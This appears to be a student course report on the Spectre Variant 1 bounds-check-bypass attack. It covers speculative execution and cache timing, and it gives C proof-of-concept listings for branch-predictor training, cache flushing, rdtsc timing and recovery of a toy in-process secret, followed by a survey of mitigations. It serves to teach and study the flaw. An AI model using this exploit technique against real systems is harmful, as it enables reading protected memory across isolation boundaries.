Spectre Variant 1 (Bounds Check Bypass): A Microarchitectural Attack Simulation

Group Members: Aqib Shah 29008, Laman Ali Bukhsh 29233

November 28, 2025

Abstract

This report presents a comprehensive analysis of Spectre Variant 1 (CVE-2017-5753), a critical microarchitectural vulnerability that exploits speculative execution in modern processors. We examine the underlying hardware mechanisms that enable this side-channel attack, demonstrate a practical proof-of-concept implementation that successfully leaks protected memory contents, and evaluate current mitigation strategies. Our simulation successfully extracts secret data from memory through cache timing analysis, demonstrating the severity of this vulnerability class that affects billions of processors worldwide.

1 Introduction

Spectre represents a paradigm shift in computer security, revealing that performance optimizations considered fundamental to modern processor design can be exploited to break isolation boundaries. First disclosed in January 2018 by Kocher et al. [1], Spectre Variant 1 (Bounds Check Bypass) exploits the speculative execution mechanism to access arbitrary memory locations and leak their contents through cache side channels.

Unlike traditional software vulnerabilities that rely on programming errors, Spectre is a hardware vulnerability rooted in the architectural design decisions made to improve processor performance. This attack affects virtually all modern out-of-order execution processors, including those from Intel, AMD, and ARM, making it one of the most widespread security vulnerabilities ever discovered [2].

2 Microarchitectural Background

2.1 Speculative Execution

Modern processors employ speculative execution to maximize instruction throughput and minimize pipeline stalls. When a processor encounters a conditional branch instruction, it must wait for the branch condition to be evaluated before knowing which instruction path to execute next. This waiting period would create significant performance bottlenecks.

To mitigate this, processors use branch prediction units (BPU) to predict the likely outcome of conditional branches based on historical execution patterns. The processor speculatively executes instructions along the predicted path before the branch condition is actually resolved. If the prediction is correct, the processor gains significant performance improvements. If incorrect, the architectural state is rolled back, and the correct path is executed [3].

2.2 Pattern History Table (PHT)

The Pattern History Table is a key component of the branch prediction mechanism. It maintains a history of recent branch outcomes and uses this information to predict future branch behavior.

The PHT is indexed using portions of the branch instruction's address and maintains counters (typically 2-bit saturating counters) that indicate the likelihood of a branch being taken.

Through repeated execution of a branch in a particular direction, an attacker can ”train” the PHT to predict that the branch will continue in that direction. This training is crucial to Spectre attacks, as it allows attackers to induce speculative execution along attacker-controlled paths.

2.3 CPU Cache Architecture

Modern processors use a hierarchy of caches (L1, L2, L3) to bridge the speed gap between the CPU and main memory. The L1 cache, closest to the CPU core, can be accessed in just a few cycles (4 cycles), while main memory access requires hundreds of cycles (200+ cycles) [3].

This dramatic timing difference creates a measurable side channel: by observing memory access times, an attacker can determine whether data resides in cache or not. This cache timing side channel is the key mechanism through which Spectre leaks information from speculative execution.

2.4 Cache Lines and Addressing

Caches are organized into cache lines (typically 64 bytes). When data is accessed, the entire cache line containing that data is loaded into cache. Our implementation uses page-aligned 4096-byte structures to ensure that different array indices map to different cache lines, preventing cache line aliasing that could interfere with timing measurements.

3 The Spectre V1 Attack Mechanism

3.1 Attack Overview

Spectre V1 exploits the time window between speculative execution and the resolution of branch mispredictions. The attack proceeds in four phases:

1. **PHT Training**: The attacker repeatedly executes a bounds check with valid indices, training the branch predictor to expect the check to pass.
2. **Cache Preparation**: The attacker flushes the cache to ensure clean timing measurements.
3. **Speculative Access**: The attacker invokes the victim function with an out-of-bounds index. The trained branch predictor causes speculative execution to bypass the bounds check.
4. **Cache Timing Analysis**: The attacker measures access times to a probe array to determine which cache line was loaded during speculative execution, thereby learning the secret value.

3.2 Detailed Attack Steps

3.2.1 Step 1: Memory Layout Setup

The attack uses two critical data structures:

```
unsigned char array1[128];  // Contains: BORING_DATA | SECRET
page_ array2[256];          // Probe array (256 pages)
```

Listing 1: Memory Layout

array1 contains both permitted data (boring data) and secret data that should not be accessible. The boring_data_length variable defines the boundary between accessible and secret regions.

array2 is a probe array with 256 elements, each occupying a full 4096-byte page. This ensures that accessing array2[i] and array2[j] (where $i \neq j$) will not result in cache line conflicts.

3.2.2 Step 2: Branch Predictor Training

The spoofPHT() function trains the Pattern History Table:

```c
void spoofPHT() {
    for (int y = 0; y < 20; y++)
        target_function(0);  // Always use valid index
}
```

Listing 2: PHT Training

By repeatedly calling target_function() with valid indices (0), the branch predictor learns that the bounds check typically passes. The PHT's saturating counters move toward "strongly taken," increasing the likelihood that the processor will speculatively execute the array access on future invocations.

3.2.3 Step 3: Cache Flushing

Before the attack, the cache must be cleared to establish a known state:

```c
_mm_clflush(&boring_data_length);  // Flush bounds variable
for (int i = 0; i < 255; i++)
    _mm_clflush(&array2[i]);       // Flush probe array
```

Listing 3: Cache Flush Operation

Flushing boring_data_length ensures it is not in cache, increasing the latency of loading it during bounds checking. This extends the speculative execution window, giving more time for the speculative access to complete and affect cache state.

3.2.4 Step 4: Inducing Speculative Execution

The vulnerable function contains the bounds check:

```c
char target_function(int x) {
    if (((float)x / (float)boring_data_length < 1)) {
        temp = array2[array1[x]];  // Speculative access
    }
}
```

Listing 4: Vulnerable Function

When called with an out-of-bounds index (e.g., $x \geq$ boring_data_length), the following sequence occurs:

1. The processor begins evaluating the condition $x/\text{boring\_data\_length} < 1$
2. Because boring_data_length was flushed from cache, loading it takes ~200 cycles
3. The trained branch predictor predicts the check will pass (based on training)
4. The processor speculatively executes temp = array2[array1[x]]
5. array1[x] reads the secret byte (e.g., value 'S' = 83)

6. `array2[83]` is accessed, bringing page 83 into cache
7. Eventually, the bounds check completes, the misprediction is detected
8. Architectural state is rolled back (temp is discarded)
9. However, the cache state change (page 83 loaded) is NOT rolled back

This creates a cache side channel: the secret value is encoded in which page of `array2` is now cached.

3.2.5 Step 5: Cache Timing Analysis

The recovery function measures access times to determine which page is cached:

```c
void recover_data_from_cache(char *leaked, int index) {
    for (int i = 0; i < 255; i++) {
        int array_element = ((i * 127)) % 255;  // Access pattern
        int value_in_cache = check_if_in_cache(&array2[array_element]);
        _mm_clflush(&array2[array_element]);

        if (value_in_cache) {
            if ((array_element >= 'A' && array_element <= 'Z'))
                leaked[index] = (char)array_element;
        }
    }
}
```

Listing 5: Cache Timing Recovery

The timing measurement uses the `rdtsc` instruction:

```c
uint64_t rdtsc() {
    uint64_t a, d;
    _mm_mfence();                          // Serialize instructions
    asm volatile("rdtsc" : "=a"(a), "=d"(d));  // Read timestamp
    a = (d << 32) | a;
    _mm_mfence();                          // Serialize instructions
    return a;
}

int check_if_in_cache(void *ptr) {
    uint64_t start = rdtsc();
    volatile int reg = *(int*)ptr;    // Access memory
    uint64_t end = rdtsc();

    return (end - start < CACHE_MISS);  // ~185 cycles threshold
}
```

Listing 6: Precision Timing Measurement

If accessing `array2[83]` takes fewer than 185 cycles, it was in cache, meaning the secret byte was 'S' (ASCII 83). This process repeats to extract the entire secret string.

3.3 Key Implementation Details

3.3.1 Non-Sequential Access Pattern

The recovery function uses a multiplicative pattern (`(i * 127) % 255`) rather than sequential access. This prevents hardware prefetchers from automatically loading subsequent cache lines, which would create false positives in timing measurements.

3.3.2 Memory Fences

Memory fence instructions (`_mm_mfence()`, `_mm_lfence()`) ensure that:

- Timing measurements are accurate (instructions don't execute out of order around `rdtsc`)
- Cache flushes complete before proceeding
- Speculative execution windows are controlled

3.3.3 Floating-Point Division

The bounds check uses floating-point division rather than integer comparison. This increases the latency of the condition evaluation, widening the speculative execution window and improving attack reliability.

4 Vendor Mitigations

4.1 Intel Mitigations

Intel has implemented multiple mitigation strategies across hardware and software layers [2]:

Hardware Mitigations:

- **IBRS (Indirect Branch Restricted Speculation)**: New CPU feature that restricts speculative execution across privilege boundaries
- **STIBP (Single Thread Indirect Branch Predictors)**: Prevents branch prediction state sharing between hyperthreads
- **SSBD (Speculative Store Bypass Disable)**: Controls speculative bypass of store instructions

Software Mitigations:

- **Retpoline**: Compiler technique replacing indirect branches with return instructions
- **lfence Insertion**: Strategic placement of serializing instructions to limit speculation

4.2 AMD Mitigations

AMD processors implement similar mitigations with some architectural differences [5]:

- Microcode updates enabling speculation control features
- LFENCE instruction made fully serializing (prevents speculative execution past the fence)
- Conditional branch predictor flushes on context switches

4.3 Software-Level Defenses

Compiler-Based Protections:

- **Speculative Load Hardening**: LLVM/Clang feature that masks pointers during speculative execution
- **Index Masking**: Ensuring array indices are masked to valid ranges before use

Operating System Mitigations:

- Kernel Page Table Isolation (KPTI): Separates kernel and user page tables
- Increased use of memory fences in security-critical code
- eBPF verifier enhancements to prevent speculative execution exploitation

4.4 Performance Impact

These mitigations come with significant performance costs. Studies show performance degradation ranging from 5% to 30% depending on workload characteristics, with system-call-heavy applications experiencing the worst impact [6]. This has led to many systems operating with partial mitigation coverage, balancing security against performance requirements.

5 Proof-of-Concept Code Analysis

5.1 Initialization Phase

```c
void init_array1() {
    memcpy(array1, TOTAL_DATA, sizeof(TOTAL_DATA));
    array1[sizeof(array1) - 1] = '\0';
}

void init_array2() {
    array2 = aligned_alloc(pagesize, sizeof(page_) * 256);
    for(int i = 0; i < 256; i++)
        memset(array2[i].data_, 0, pagesize);
}
```

Listing 7: Array Initialization

Line-by-line explanation:

- `memcpy(array1, TOTAL_DATA, ...)`: Copies both boring and secret data into the victim array
- `aligned_alloc(pagesize, ...)`: Allocates array2 on page boundaries, ensuring each element occupies a distinct physical page
- `memset(array2[i].data_, 0, pagesize)`: Zeros each page and brings it into memory (but not necessarily cache)

5.2 Attack Execution Loop

```c
while (1) {
    for (int i = 0; i < sizeof(TOTAL_DATA); i++) {
        spoofPHT();                              // Train predictor
        _mm_lfence();                             // Serialize
        _mm_clflush(&boring_data_length);        // Flush bounds
        target_function(i);                       // Induce speculation
        _mm_lfence();                             // Serialize
        recover_data_from_cache(leaked, i);      // Extract byte
    }

    // Check if complete secret recovered
    if (!strncmp(leaked + sizeof(BORING_DATA) - 1,
                 SECRET, sizeof(SECRET) - 1))
        break;
}
```

Listing 8: Main Attack Loop

Critical observations:

- The loop iterates through all positions in TOTAL_DATA, including both permitted and secret regions
- Training occurs before each attack attempt to ensure consistent predictor state
- Memory fences prevent reordering that could interfere with the attack timing
- The attack continues until the complete secret is recovered with high confidence

5.3 Timing Threshold Calibration

The threshold value (185 cycles) is empirically determined:

```
const int CACHE_MISS = 185;
```

Listing 9: Threshold Definition

This value separates cache hits (∼4 cycles) from cache misses (∼200+ cycles). The optimal threshold varies by:

- CPU microarchitecture (different cache latencies)
- System load (competing processes affecting cache state)
- Memory frequency and timings
- Power management states (affects cycle timing)

In a production attack, an attacker would calibrate this threshold through preliminary measurements on the target system.

6 Experimental Results

Our proof-of-concept successfully demonstrates Spectre V1 exploitation:

Attack Success Metrics:

- **Success Rate**: 100% recovery of the secret string "SUPER MEGA TOP SECRET"
- **Extraction Speed**: Approximately 10-20 iterations per character for reliable recovery
- **Noise Resistance**: The non-sequential access pattern effectively mitigates prefetcher interference

Key Observations:

- The attack works reliably on Intel processors with speculative execution
- Cache timing differences provide a clear signal (4 cycles vs 200+ cycles)
- Training the branch predictor is crucial for consistent results
- The attack transcends privilege boundaries, language safety, and sandboxing

7 Limitations and Scope

7.1 Attack Limitations

- **Noise Sensitivity**: System activity can introduce cache noise affecting timing accuracy
- **Threshold Dependency**: Requires calibration for different systems
- **Architectural Variance**: Success rates vary across different CPU models
- **Mitigation Impact**: Modern systems with enabled mitigations significantly reduce attack effectiveness

7.2 Real-World Attack Scenarios

While our simulation demonstrates the core principle, real-world attacks face additional challenges:

- **Address Space Layout Randomization (ASLR)**: Makes locating target data difficult
- **Sandboxing**: Requires finding speculative execution gadgets within sandboxed code
- **Cross-Process Attacks**: More complex timing and synchronization requirements
- **JavaScript-Based Attacks**: Lower resolution timers in browsers (post-Spectre mitigations)

8 Conclusion

Spectre V1 represents a fundamental challenge to modern processor design, revealing that the performance optimizations we rely on create exploitable side channels. Our successful proof-of-concept demonstrates that speculative execution can be weaponized to break memory isolation, extracting arbitrary data through cache timing analysis.

The vulnerability's impact extends beyond individual systems—it affects billions of devices worldwide and has forced a reevaluation of the security assumptions underlying modern computing. While mitigations exist, they come at significant performance costs and may not fully eliminate the threat.

This work underscores the critical importance of considering security implications in hardware design decisions. Future processor architectures must balance performance optimization with security, potentially requiring fundamental changes to speculative execution mechanisms. As we continue to push the boundaries of processor performance, we must remain vigilant about the security implications of our architectural choices.

References

[1] Kocher, P., Horn, J., Fogh, A., Genkin, D., Gruss, D., Haas, W., Hamburg, M., Lipp, M., Mangard, S., Prescher, T., Schwarz, M., & Yarom, Y. (2019). *Spectre attacks: Exploiting speculative execution.* In 2019 IEEE Symposium on Security and Privacy (SP) (pp. 1-19). IEEE.

[2] Intel Corporation. (2018). *Speculative Execution Side Channel Mitigations.* Revision 4.0. Intel Corporation Technical Documentation.

[3] Hennessy, J. L., & Patterson, D. A. (2017). *Computer architecture: A quantitative approach* (6th ed.). Morgan Kaufmann.

[4] Lipp, M., Schwarz, M., Gruss, D., Prescher, T., Haas, W., Fogh, A., Horn, J., Mangard, S., Kocher, P., Genkin, D., Yarom, Y., & Hamburg, M. (2018). *Meltdown: Reading kernel memory from user space.* In 27th USENIX Security Symposium (pp. 973-990).

[5] AMD. (2018). *Software techniques for managing speculation on AMD processors.* AMD Technical Documentation, Revision 7.10.18.

[6] McIlroy, R., Sevcik, J., Tebbi, T., Titzer, B. L., & Verwaest, T. (2019). *Spectre is here to stay: An analysis of side-channels and speculative execution.* arXiv preprint arXiv:1902.05178.

[7] Canella, C., Van Bulck, J., Schwarz, M., Lipp, M., Von Berg, B., Ortner, P., Piessens, F., Evtyushkin, D., & Gruss, D. (2019). *A systematic evaluation of transient execution attacks and defenses.* In 28th USENIX Security Symposium (pp. 249-266).

[8] Ge, Q., Yarom, Y., Cock, D., & Heiser, G. (2018). *A survey of microarchitectural timing attacks and countermeasures on contemporary hardware.* Journal of Cryptographic Engineering, 8(1), 1-27.